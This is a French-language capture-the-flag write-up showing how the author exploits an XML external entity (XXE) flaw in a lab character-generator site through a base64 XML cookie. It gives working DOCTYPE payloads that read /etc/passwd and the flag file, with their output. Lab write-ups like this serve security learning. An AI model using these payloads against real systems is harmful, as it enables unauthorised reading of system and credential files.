

# Write UP - RPG Maker

Nous arrivons sur un site plutot stylé :)

Puis en analysant un peu et en jouant avec les boutons on remarque que du xml est utilisé pour générer le personnage.

Il y a moyen d'intercepter la requête via burp mais il y a aussi un cookie qui stocke la configuration du personnage !

The screenshot shows the Burp Suite interface with the 'Storage' tab selected. On the left, there's a tree view of storage types: Cache Storage, Cookies, Indexed DB, Local Storage, and Session Storage. Under 'Cookies', a cookie for 'http://192.168.201.10:10001' is selected, showing the name 'xml\_char...' and the value 'PD94bWwgdmV...'. The value is highlighted with a red box. The right side of the screen is a table with columns: Name, Value, Domain, Path, Expires / Max-Age, Size, HttpOnly, Secure, SameSite, and Last Access. The cookie entry in the table also has a red box around its value column.

Name	Value	Domain	Path	Expires / Max-Age	Size	HttpOnly	Secure	SameSite	Last Access
PHPSESS...	b1581813907a32...	192.168.20...	/	Session	41	false	false	None	Wed, 22 F...
xml_char...	PD94bWwgdmV...	192.168.20...	/	Wed, 22 Feb 2023 ...	807	false	false	None	Wed, 22 F...

A partir de ça nous pouvons essayer de modifier les valeurs du xml pour essayer de faire une **XXE**, on peut s'amuser à changer par exemple certaine valeur et on remarque vite qu'un seul parametre rend l'injection de manière directe :

```
<?xml version="1.0" encoding="utf-8"?>
<Request>
    <Gender>HELLO WORLD</Gender>
    <Race>0</Race>
    <HairColor>0</HairColor>
    <HairStyle>3</HairStyle>
    <Eyes>0</Eyes>
    <ArmorColor>0</ArmorColor>
    <ArmorStyle>3</ArmorStyle>
    <Left_hand_weapon_Color>0</Left_hand_weapon_Color>
    <Left_hand_weapon_Style>9</Left_hand_weapon_Style>
    <Right_hand_weapon_Color>0</Right_hand_weapon_Color>
    <Right_hand_weapon_Style>9</Right_hand_weapon_Style>
</Request>
```

Gender : HELLO WORLD

Race : Human

Hair : Bald

Eyes Color : Blue

Armor : Naked

Weapon 1 : Punch

Weapon 2 : Punch



Ici, il ne l'affiche pas

```
<?xml version="1.0" encoding="utf-8"?>
<Request>
    <Gender>HELLO WORLD</Gender>
    <Race>0</Race>
    <HairColor>0</HairColor>
    <HairStyle>Hello WORLD</HairStyle>
    <Eyes>0</Eyes>
    <ArmorColor>0</ArmorColor>
    <ArmorStyle>3</ArmorStyle>
    <Left_hand_weapon_Color>0</Left_hand_weapon_Color>
    <Left_hand_weapon_Style>9</Left_hand_weapon_Style>
    <Right_hand_weapon_Color>0</Right_hand_weapon_Color>
    <Right_hand_weapon_Style>9</Right_hand_weapon_Style>
</Request>
```

Gender : HELLO WORLD

Race :

Hair :

Eyes Color :

Armor :

Weapon 1:

Weapon 2:

Essayons maintenant d'afficher notre flag !

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [<!ENTITY flag SYSTEM "/etc/passwd"> ]>
<Request>
    <Gender>&flag;</Gender>
    <Race>0</Race>
    <HairColor>0</HairColor>
    <HairStyle>3</HairStyle>
    <Eyes>0</Eyes>
    <ArmorColor>0</ArmorColor>
    <ArmorStyle>3</ArmorStyle>
    <Left_hand_weapon_Color>0</Left_hand_weapon_Color>
    <Left_hand_weapon_Style>9</Left_hand_weapon_Style>
    <Right_hand_weapon_Color>0</Right_hand_weapon_Color>
    <Right_hand_weapon_Style>9</Right_hand_weapon_Style>
</Request>
```

Bingo nous voyons /etc/passwd !!

Gender : root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:b

Race :

Hair :

Eyes Color :

Armor :

Weapon 1:

Weapon 2:



PAYLOAD FINAL :

```
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo [<!ENTITY flag SYSTEM "flag.txt"> ]>
<Request>
    <Gender>&flag;</Gender>
    <Race>0</Race>
    <HairColor>0</HairColor>
    <HairStyle>3</HairStyle>
    <Eyes>0</Eyes>
    <ArmorColor>0</ArmorColor>
    <ArmorStyle>3</ArmorStyle>
    <Left_hand_weapon_Color>0</Left_hand_weapon_Color>
    <Left_hand_weapon_Style>9</Left_hand_weapon_Style>
    <Right_hand_weapon_Color>0</Right_hand_weapon_Color>
    <Right_hand_weapon_Style>9</Right_hand_weapon_Style>
</Request>
```

Gender : NHM2!{GG\_U\_Succ3s5ful1q\_XX3D\_My\_W3bsite}

Race :

0

GGWP !